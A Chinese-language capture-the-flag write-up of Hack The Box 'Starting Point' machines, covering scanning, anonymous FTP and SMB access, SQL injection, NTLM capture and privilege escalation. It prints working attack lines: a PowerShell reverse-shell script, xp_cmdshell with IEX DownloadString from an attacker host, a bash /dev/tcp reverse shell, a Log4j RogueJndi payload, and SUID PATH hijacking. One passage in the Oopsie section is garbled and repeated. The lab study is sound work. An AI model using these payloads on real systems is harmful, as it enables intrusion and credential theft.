htb-starting point
Meow(telnet)
怎么先完成vpn的配置,记得上面的vpn数字要选一样的,不然ping不通,
还有一点就是先关闭靶机在关闭vpn,不然的话得等好几个小时才能重新连接vpn
先ping一下,看一下靶机是否存活
有返回了,代表存活
然后扫一下端口
发现23端口是打开的,并且是telnet服务的
因为telnet是远程登录服务器服务,尝试用这个服务区登录一下
telnet xxxxxxxx
最后猜的root用户,然后登录成功
拿到flag
Fawn(ftp)
可以ping通,说明主机存活
然后进行nmap扫描
-sV 探测服务/版本信息 我们可以看到 开放21端口的ftp协议 版本是 vsftpd 3.0.3
目标上运行的操作系统类型是Unix
对ftp进行补充一下
FTP没有账户时候我们的username: anonymous 采用匿名访问;
对于FTP我们每次操作服务器都会给我们回应状态码 不同状态码对应不同的的含义:
比如用户登录成功 服务器就会返回230状态码;
在这个ftp服务器上是不能直接cat读取文件的,我们得进行get外带
下载文件
下载文件通常用get和mget这两条命令。 a) get 格式:get [remote-file] [local-file] 将文件从远端主机中传送至本地主机中。 如要获取远程服
ftp> get /usr/your/1.htm 1.htm (回车)
b) mget 格式:mget [remote-files] 从远端主机接收一批文件至本地主机。 如要获取服务器上/usr/your/下的所有文件,则
ftp> cd /usr/your/ ftp> mget *.* (回车)
先用ftp 连接 服务器 采用匿名登录 无密码 查询服务器 文件 发现flag 进行下载 然后本地读取
匿名访问,没有密码
然后就可以本地当前目录下查看flag了
通关
Dancing(SMB)
还是先ping下
可以ping通,说明主机存活
SMB(全称是Server Message Block)是一个网络协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。SMB最初是IBM的贝瑞·费根鲍姆(Barry Feigenbaum)研制的,其目的是将DOS操作系统中的本地文件接口“中断13”改造为网络文件系统。
简而言之就是个传输文件 文件共享用的协议 跟FTP差不了太多。
使用nmap扫一下,发现开了三个端口
135: msrpc (MicroSoft Remote Procedure Call,微软远程过程调用) 这是windows系统特有的服务
139:netbios-ssn 用于提供文件共享服务,主要用于企业内部网之间互相访问 也是微软的服务
445:就是我们说的SMB
尝试连接SMB 密码为空 连接成功:
可以看到有WorkShares 的目录 可以访问 ,进行访问
smbclient //10.129.71.90/WorkShares
找了一下flag.txt 发现 没有 于是进入别的目录找 在James.P下找到
通关
Redeemer(Redis)
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。redis的默认端口号是6379。
还是先ping一下
接下来扫一下默认端口
前面没扫到是因为nmap默认的端口好是1-1000
扫到redis版本了
通过redis-cli尝试连接
连接成功,通过输入 info 查看redis服务信息与状态,发现数据库名与Key个数,通过查看数据库内容发现flag
通关
(vip的题做不了) ——> 只能去做 下一个板块免费的题了
Appointment(sql注入)
先ping一下
ping通了
这题得开kali的图形化界面了,因为这里考察的点是sql注入
这里连接openvpn的时候,machine要连接udp,start-point要连接tcp
不然的话靶机用不了
扫一下端口
发现80默认端口打开,
然后尝试一下弱密码,发现不行后在尝试一下万能密码注入试试
万能密码注入成功
通关
Sequel(mysql)
考点
还是先ping一下
能通,扫一下端口号
扫完了,发现开了个3306端口,是mysql的默认端口号
然后我们尝试连接一下数据库(没安装mysql的自己手动安装一下)
这里的密码为空就不填了(root用户(就是用户名)允许无密码登录)
连接成功
接下来就是利用sql语句来查询了
最后拿到flag
通关
Crocodile(ftp和web网页)
还是先ping一下
接下来扫一下端口
扫出来老朋友ftp了,还有这个80端口的web网页,那我们还是先去看一下这个ftp
直接把ftp服务器上的账号密码全给提取到本地了
访问网站看到这玩意(打开真慢)
然后利用gobuster
扫一下网站
gobuster dir -u http://10.129.98.232 -w /usr/share/wordlists/dirb/common.txt
dir —-> 是扫目录
dns —->爆破dns
vHost —-> 扫子域
发现存在301重定向(302也是),然后去访问一下
在访问到http://10.129.98.232/dashboard/的时候,跳转到了
然后我们就拿之前在ftp服务器获取的账号密码进行登录
通关
Responder()
考点
考点挺多的啊
老样子还是能ping通
但是就是端口扫描太慢了
这里就拿一下别人扫出的端口号
nmap的一些指令的用法
借用一下,-sS 使用 SYN 扫描,因为 TCP 扫描会经历三次握手耗费大量时间,-Pn 是禁 ping 主机,防止被防火墙过滤而漏扫,但是我们只有一个主机,所以没什么影响,-n 不解析域名,-open 只输出开放端口,结果扫描到 3 个端口,而且注意 5985 端口扫描出的服务也有所不同
这个 wsman 全称是 Windows Remote Managemen(WS_Management) ,如果使用 Win7 或者Windows 2003 Server以上版本的操作系统,微软在系统中已经自带了支持WSMAN 的管理客户端,叫做 winrm,它可以提供远程 powershell 管理服务,听起来就比较危险
扫到了这几个端口号,但是去访问80的时候却报错,然后重定向到了另一个域名处
5985端口也是一样(但是没有重定向)
7680端口也是这样,没有重定向
我们知道如果想通过域名访问一个网站的话,是需要进行 dns 解析的,我们直接输入 IP 地址发现被重定向到了 unika.htb
这个域名,但是这个域名没有办法解析到对应的 IP 地址,所以我们需要通过修改 hosts
文件来确定 IP 地址
修改host进入网址
添加后,就可以成功进入网址了
再次访问,出现页面,这个网站是通过虚拟主机搭建的,也就是多个网站搭建在一台服务器上,一般现实环境中是不能通过虚拟主机的 IP 直接访问的,而是通过 A 记录
(把域名解析到一个IP地址)或 CNAME 记录
(把域名解析到另外一个域名)解析出域名后,再进行下一次域名解析来访问
查看网站有哪些功能
查看网站功能
测试 web 应用程序可以重点关注交互功能,我们能控制哪些输入,又如何被后端处理,会不会以及怎么输出? 静态的网站基本上不会有漏洞的
点了点网站,也是很常见的公司产品官网(?不知道怎么分类,就是静态页面为主),只有一个留言功能和一个语言切换功能有数据包请求,剩下都是由前端完成资源锚点跳转的
请求这两个功能分别是两个 html 页面的请求,但是都是跳转到首页最上方
简单来说就是这里的话只有点击切换语言和发送评论功能才会有跳转,其他都是静态页面
点击切换语言的时候,会有这个东西出现,感觉有点文件包含的意思
探测漏洞—文件包含
到这里有一个 page
参数,输入文件名,那么这个地方比较大可能存在的漏洞就是文件包含漏洞,我们在初级靶场也接触过,测试一下?
随便输入,发现报错返回了路径,使用的 xampp
,一种比较常用的一键式集成环境搭建的网站,默认是将脚本文件放到 xampp/htdocs
目录下运行
很明显的windows环境 出现了 C://
有什么特殊的敏感文件吗? 我们可以尝试查看 hosts
文件 敏感文件
1 | http://unika.htb/index.php?page=../../../../../../../../../../windows/system32/drivers/etc/hosts |
直接用盘符也行
1 | http://unika.htb/index.php?page=C://windows/system32/drivers/etc/hosts |
那么如何进一步利用呢?两种思路,一是写入或包含远程后门文件,然后连接,还有是继续信息收集 windows
系统的账号密码信息,进行登录
我们测试一下远程文件包含,我们知道远程文件包含还需要两个条件
1 | allow_url_include、allow_url_fopen 为 ON |
发现没开,所以说明远程文件包含也用不了了
那么咱就继续进行信息收集去
我们知道这个⽹⻚容易受到⽂件包含漏洞的影响,并且在 Windows 机器上提供服务。因此,存在在我们的攻击者⼯作站上包含⽂件的可 能性。如果我们选择像 SMB 这样的协议,Windows 将尝试对我们的机器进⾏⾝份验证,并且我们可以捕获NetNTLMv2.
利用 SMB 窃取 NTLM hash
SMB 协议支持 NTLM 和 LM 加密,我们通过恶意程序监听,在远程主机访问我们的 SMB 服务时,因为要进行身份验证,会发送相关信息,我们就可以获取目标主机的 hash 值,这个是为了账号密码的安全性,一般都不进行明文验证,而是使用摘要值进行比对,这样就给了我们可乘之机,不需要知道正确的账号密码,只要摘要值比对成功就可以登录
下载工具,使用其进行监听
1 | git pull https://github.com/lgandx/Responder |
确认是否支持 SMB 请求
监听 tun0
,之前有一次靶机提到过,该 IP 是和目标机器一个网络下的 10 段 IP
1 | python3 Responder.py -I tun0 |
我们使用 curl
命令来请求 url
1 | curl -v http://unika.htb/index.php?page=//10.129.158.196/csd |
这里的话要拿tun0
的ip地址
不是拿题目的ip地址
我们发现成功接收到服务器的的 NTLM
值,一般是第一次请求才会发送,然后会保存到本地,下次就不会再发送了
接下来不写了 弹不成功,获得不了请求
wp
文章2 ——> 可能打不开 这是在hackthebox里面的官方文档,本地的1.pdf
是中文翻译过来的
three
考点
还是老样子,先ping一下
接下来就行端口扫描
扫到了两个端口
扫描发现开放 22 和 80 两个端口,22 是 ssh
服务,登录分为账号密码登录和公钥登录
1 | ssh username@ip |
没有登录成功,看80端口
是一个乐队的官网,apache2.4.29 、linux 系统、php ,功能有搜索,买票,联系我们,不过都只是做个页面,没有实际的请求交互
尝试目录爬取和爆破,没有什么有用的信息…
Email: mail@thetoppers.htb 看到了邮箱,然后把靶机 ip 和域名进行绑定,然后进行子域名爆破,不要问为什么这么做,学着点就行了
发现只有这个域名有用,但我们直接访问这个域名的时候却没有打开这个网址,应该就是没有配置hosts的原因,和上面的Responder
是一个考点
修改后是直接能访问这个网址的
子域名爆破,这个问题,因为我们现在只能解析靶机IP和它对应的域名,子域名如何解析?即使是同一个IP的子域名,在没有修改 hosts
文件时也是无法访问的,工具又是如何判断爆破的子域名存在呢?
使用 gobuster
爆破,字典也是从别的工具里借用的,但是字典太大了,就提前结束了
1 | gobuster vhost -w /usr/share/wordlists/domain_dic.txt -u http://thetoppers.htb |
反正就是找到了一个子域名
s3.thetoppers.htb
vhost 的主要功能是枚举某个服务上部署的所有虚拟主机,其原理是通过构造 HTTP 请求头,将字典中的域名设置到 HTTP 请求头到 HOST 字段,然后通过 IP 请求网站,如果是该域名的虚拟主机,那么请求会返回该域名下的网站内容,如果不是,则返回通过 IP 访问获得的资源而非域名下的资源
然后接下来还是修改hosts
成功了
使用的 hypercorn
这是一个 ASGI
服务器,启用后监听8000端口云云,不用了解太多
ASGI(异步服务器网关接口)是WSGI的精神继承者,旨在在具有异步功能的Python Web服务器,框架和应用程序之间提供标准接口
AWS S3 拿shell
s3
👉 AWS S3
全名是 Amazon Simple Storage Service
,简便的对象存储服务,存储的数据类似键值对的形式,就是对象名:数据
1 | apt install awscli // 安装工具 |
前两项配置是用户凭证,通过什么身份连接到 AWS
存储库,第三个是区域信息,第四个是输出格式,为什么都是 temp
我也不懂,可能是设置的
通过工具访问并执行命令
1 | aws --endpoint=http://s3.thetoppers.htb s3 ls |
发现存在.htaccess,文件上传对这个很熟悉,然后我们就尝试进行文件上传看看‘
上传成功 成功获取 webshell
权限
这里没复现成功 。。。。。
Archetype
考点
工具介绍
smbclient
Smbclient(samba client)是基于SMB协议的,用于存取共享目标的客户端程序。
参数:
网络资源 网络资源的格式为//服务器名称/资源分享名称。
密码 输入存取网络资源所需的密码。
-B 传送广播数据包时所用的IP地址。
-d< 排错层级> 指定记录文件所记载事件的详细程度。
-E 将信息送到标准错误输出设备。
-h 显示帮助。
-i< 范围> 设置NetBIOS名称范围。
-I 指定服务器的IP地址。
-l< 记录文件> 指定记录文件的名称。
-L 显示服务器端所分享出来的所有资源。
-M 可利用WinPopup协议,将信息送给选项中所指定的主机。
-n 指定用户端所要使用的NetBIOS名称。
-N 不用询问密码。
-O< 连接槽选项> 设置用户端TCP连接槽的选项。
-p 指定服务器端TCP连接端口编号。
-R< 名称解析顺序> 设置NetBIOS名称解析的顺序。
-s< 目录> 指定smb.conf所在的目录。
-t< 服务器字码> 设置用何种字符码来解析服务器端的文件名称。
-T 备份服务器端分享的全部文件,并打包成tar格式的文件。
-U< 用户名称> 指定用户名称。
-W< 工作群组> 指定工作群组名称。
psexec
用于远程连接的工具
还是先ping一下
接下来时扫一下端口
这里面的135和139端口没啥用
对445端口进行检测
smbclient -L // -L 列出所有共享用户
这里时空密码登录,存在backups匿名用户,可进行登录
匿名登录成功后,然后下载当前目录下的文件进行查看
可以看到这个文件是sqlserver的配置文件
存在数据库账号密码,然后就去查看1433端口,这个端口存在数据库
检测1433端口
拿到了SQLSERVER的密码和账号,我们可以尝试登陆sqlserver
登录sqlserver似乎有很多工具,我使用的是impacket包example文件夹中的mssqlclient.py脚本,主要是刚好最近在学习内网时用到
要使用impacket包要要先安装impacket工具包
1 | sudo git clone https://github.com/SecureAuthCorp/impacket.git |
成功登录数据库
查看SELECT IS_SRVROLEMEMBER ( 'sysadmin ' )
,发现是SA权限
因此我们可以尝试使用xp_cmdshell
来获取RCE
使用的函数为xp_cmdshell(能帮助我们拿到主机的shell),xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启
开启xp_cmdshell命令如下:
1 | exec sp_configure 'show advanced options', 1; //开启高级选项 |
可以通过exec sp_configure查看xp_cmdshell状态:exec sp_configure
能成功执行代表配置成功了
看一下权限和ip
成功执行命令
然后其实我们就可以通过RCE直接读取到位于sql_svc用户桌面的flag,但是为了提高难度决定要拿到shell
通过RCE可以判断出目标电脑没有安装java、php、python等主流编程语言,也没有安装netcat,所以有一些反弹shell的方法无法做到
所以打算用powershell的脚本进行反弹shell
尝试使用了nishang的反弹,但是没有成功,而且在这个函数下很多命令都无法正常的执行,最后只能用简单的ps1的脚本进行反弹
折腾了半天,才把shell弹成功
先创建一个文件 shell.ps1
1 | client = New-Object System.Net.Sockets.TCPClient("10.10.14.8",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
然后在文件所在目录开一个python web服务器给sqlserver访问
1 | python3 -m http.server 80 |
然后监听端口
1 | nc -lvvp 4444 |
最后在sql那边输入命令
1 | xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.16.21/shell.ps1\");"" |
然后就反弹成功,就可以求拿普通用户的flag了
此 flag 放在普通用户的桌面 (Windows下读取文件内容的命令为 type)
1 | type C:\Users\sql_svc\Desktop\user.txt |
接下来就是提权了 就是为了拿到管理员账户的flag
提权
获取的当前用户是 svc 用户,用于运行数据库。管理员权限需要再获取。
本靶场提权的思路是,查看 powershell 的命令执行记录获取密码。
密码存储在ConsoleHost_history.txt中
1 | type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
这里可以打开自己的windows电脑来查看,位置是一样的
可以看到这里使用net use 开放了一个文件共享
该命令的作用是将主机上的backups文件夹映射到自己的T盘,后面是主机的用户名和密码。
使用psexec提权,其原理是:
1 | 1.通过ipc$连接,释放psexecsvc.exe到目标 |
另起终端执行
这个执行命令和ssh差不多
1 | impacket-psexec administrator@10.129.32.130 |
拿到机器的管理员shell
拿到管理员的flag了
折腾了好久终于结束了。。。。。。
总结
通过nmap扫描发现存在 445,1433开放。smbclient 列出目标smb共享用户发现可以匿名访问,发现数据库账号密码 通过impacket 里的mssqlclient 连接上
发现是sa权限 获得命令执行 通过python3 搭建简易web服务器
让目标下载powershell脚本并执行 在目标桌面发现第一个flag 查看powershell历史记录。直接看见管理员账户密码,再用impacket里的psexec连接。
Oopsie
考点
还是先ping一下
能ping成功,开始扫一下端口
扫到两个端口,80端口的version看起来像一个可以访问的网址
ssh先去尝试一下能不能无密码连接
发现不能后访问一下网站
就是一个静态页面
访问80端口后,使用小插件获取到 login 的敏感路径。(叫 findsomething ,火狐及Chrome均可在对应插件商店下载)
找到有个敏感登录路径
得到一个登录框
发现可使用 guest 账户登录。猜测进去后越权。
越权
成功登进去后
发现有个upload提示只有管理员才可以进行上传,我们查看下cookie,看可不可以伪造cookie进行admin登录
发现可以伪造cookie进行登录
尝试更改role 为admin,再访问 upload 功能,仍无法打开。则应是通过 user 的值判断是否为admin
那 admin 的值为多少呢? 我第一反应是爆破。后来发现思路不对。正确思路是在 account 模块下发现了
这样就能获取到admin的accessid了
更改下方 user 的 value 值为 34322 ,访问 upload 模块
成功伪造成管理员账户了,那么我们就尝试进行上传木马看看
1 | vim /usr/share/webshells/php/php-reverse-shell.php |
将ip修改后就行了
上传成功木马文件,然后我们就去扫一下网站目录,看一下上传目录在哪,然后去访问上传目录的木马就可以反弹shell了(使用gobuster工具)
1 | gobuster dir --url http://10.129.95.204/ --wordlist /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x php |
扫到了uploads文件,估计就是这个目录存在上传文件,然后我们直接去访问看看
访问后成功反弹shell
/var/www/html 是web服务的目录,即网站的目录。这里的 cdn-cgi目录下发现了 db.php
里面有连接数据库的账户密码
1 | robert |
在 robert 的用户目录,发现他的flag
拿到普通用户的flag
提权
这里考点就是这个提权
目前拿到的是www-data用户的bash的执行权(执行 whoami 查看即可)、以及一个数据库的账户密码。因为在 home 文件夹下也发现了此账户,猜测此账户的密码与其数据库密码一致。
配合最开始的ssh端口,想到先远程登录一下。
1 | ssh robert@10.129.95.204 |
登录成功,果然和数据库的账户密码是一样的
如果未开放ssh端口,仍要从 bash 转换为 伪终端,可执行
1 | python3 -c "import pty; pty.spawn('/bin/bash')" |
再切换到 robert账户。不过这样不稳定,毕竟还是基于反弹shell连接的。
如何获得 root 权限呢?在上一个靶场中,我们通过查看 powershell 的命令记录获取到 Administrator 的权限,这次使用 SUID提权的方法。
在本靶场中,如果 robert 用户执行的文件从属于 root 用户,就会用root用户的权限执行文件。
查看 robert 所在用户组、搜索可执行的文件、并查看该文件有没有 s 权限
s权限就是看是否含有suid权限,有的话就可以利用来进行提权了
查找是否含有s权限
1 | find / -user root -perm -4000 -print 2>/dev/null |
find / -perm -4000 2>/dev/null 查找具有suid权限的文件
2>/dev/null
意思就是把错误输出到“黑洞”,/dev/null被称为黑洞
0——标准输入(stdin)
1——标准输出(stdout)
2——标准错误(stderr)
找到一个有用的了
bugtracker 这里会通过输入的数字来显示 bug
输入一个不存在的数字 这里显示了cat 不到
这里是用root权限去调用cat
1 | 调用cat命令没有使用cat命令的绝对路径,而是使用绝对路径调用的,即在当前用户的 P A T H 环 境 变 量 指 定 的 路 径 中 搜 寻 c a t 命 令 。 可 以 创 建 一 个 名 为 c a t 的 恶 意 命 令 , 并 修 改 当 前 用 户 的 PATH环境变量指定的路径中搜寻cat命令。 可以创建一个名为cat的恶意命令,并修改当前用户的 PATH环境变量指定的路径中搜寻cat命令。可以创建一个名为cat的恶意命令,并修改当前用户的PATH值以使bugtracker调用恶意cat命令,以获取root权限。 |
简单来说就是因为调用cat命令的时候使用path里面搜索的,从前往后依次搜索,谁在前有就调用谁的,所以问们就可以自己定义一个路径在最前面,然后里面有cat命令,然后就会以uid(root)用户的身份执行cat
现在如果我们伪装 “/bin/bash” 为 cat,那么执行 此程序时,就会获得 root权限的shell
这样的话/tmp就在最前面了
这里不能使用cat的原因是cat被我们修改了
vaccine
考点
能ping通
去扫一下端口
扫到三个端口 一个是ftp服务器端口 一个是ssh端口 一个是80端口(看起来像是一个网站)
然后还是老思路尝试一下可不可以进行匿名登录
匿名登录成功
查看文件,竟然有压缩包,看这名称,大概率是源码,下载
然后尝试进行解压查看
发现需要密码才能查看源码
尝试ssh登录,不行,有密码且不是弱类型密码
没有头绪后查看一下这个网址,发现是这个登录框,于是尝试一下万能密码登录,弱密码 sqlmap啥的 发现不太行
然后尝试一下扫一下这个网站的目录看有没有啥发现 也没啥可用的东西 那么我们就尝试一下破解压缩包的密码
没别的,暴破,使用在 Responder
接触过的 john
工具
1 | zip2john backup.zip > hash.txt |
1 | john -wordlist=/usr/share/wordlists/rockyou.txt hash.txt |
然后得出解码的密码是741852963
然后就去查看源码
index.php
1 | <!DOCTYPE html> |
ftp服务器上的压缩包给了源码 源码里面有了账号和密码但是密码是md5加密过的,那我们就尝试进行md5解密查看一下
查到密码,尝试进行网站登录
成功登录
其实这个密码就是个弱口令 然后它输入密码的时候没有进行限制,我们其实可以抓包然后爆破他的密码
它这个url存在一个类似sql注入的玩意 所以我们还是可以进行sql注入一下
加了个单引号就很不争气的露出马脚了,以前讲过报错注入,但是我们最终的目的是获取一定权限,那就要用到 --os-shell
了
简单的查询爆出了sql语句 更加说明了存在sql注入了
那么我们就直接上sqlmap了
1 | sqlmap -u http://10.129.247.81/dashboard.php?search=1 --cookie="PHPSESSID=e3ip6sjdos4nrjq6qcoi3vs2k4" --os-shell |
这里的话必须得加上cookie不让获取不成功
因为它的权限也很低,我连看文件都看不了,继续用 bash
命令连 nc
1 | nc -lvnp 443 |
成功把shell弹过来了
然后就进行文件的查看
发现数据库的账号密码
然后由于这里扫端口的时候没发现有数据库的端口
于是就猜测是不是ssh的端口的账号密码
果然是,登录成功
拿到user的root,那还有root用户的,所以我们就尝试进行提权
sudo -l ———》 -l 显示出自己(执行 sudo 的使用者)的权限
发现此用户 /bin/vi 处理/etc/postgresql/11/main/pg_hba.conf 具有root权限
所以就使用vi来进行提权
我们可以以 root
权限编辑 pg_hba.conf
文件,输入下面语句,分两次编辑
1 | sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf |
这里给我折腾了好久,是写入:set shell=/bin/sh,然后在编辑wq处那输入shell
这里这个提权和suid那个差不多
Unified(java - Log4j CVE-202144228)
考点
现ping一下
接下来就是端口扫描了(这里扫的太慢了,就直接拿别人扫的端口来用了)
1 | 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
就是这些常规的端口
SSH 登录尝试失败,6789 端口是 db2 数据库的管理端口,8080 端口是个代理转发端口,访问会重定向到 8443 端口是 UniFi 6.5.54 产品的页面,发现该版本存在 CVE-2021-44228 漏洞
然后发现这个版本的unifi存在漏洞,就是上面写的CVE漏洞 直接搜就能搜出这个CVE
漏洞复现
尝试复现 CVE-2021-44228,曾经风靡一时的漏洞 Apache log4j
,这是 java 比较常用的日志监控组件
原理就是我们创建一个恶意服务,服务器请求执行,达到控制的目的,以rmi
为例
1 | RMI是Java的一组拥护开发 分布式应用程序 的 API 。 RMI使用Java语言 接口 定义了远程对象,它集合了Java序列化和Java远程方法协议 (Java Remote Method Protocol)。 简单地说,这样使原先的程序在同一操作系统的方法调用,变成了不同操作系统之间程序的方法调用 |
怎么证明的看这篇文章,这里我就不写了 ——-> 文章
证明了漏洞存在,接下来进行漏洞的exp利用
ldap 轻量级目录访问协议,默认端口389,如果存在漏洞发送payload消息,会发送数据报文到本机389端
漏洞利用
1 | 准备工具: |
准备payload
,输出base64
编码
反弹shell
1 | echo 'bash -c bash -i >&/dev/tcp/10.10.16.24/4444 0>&1' |base64 |
搭建 ldap
服务器,传递 payload
1 | java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMjQvNDQ0NCAwPiYxCg==}| |
监听4444端口
进行发包
因为弹shell死活弹不成功 所以就直接看wp就行了
wp来看这篇就行了 文章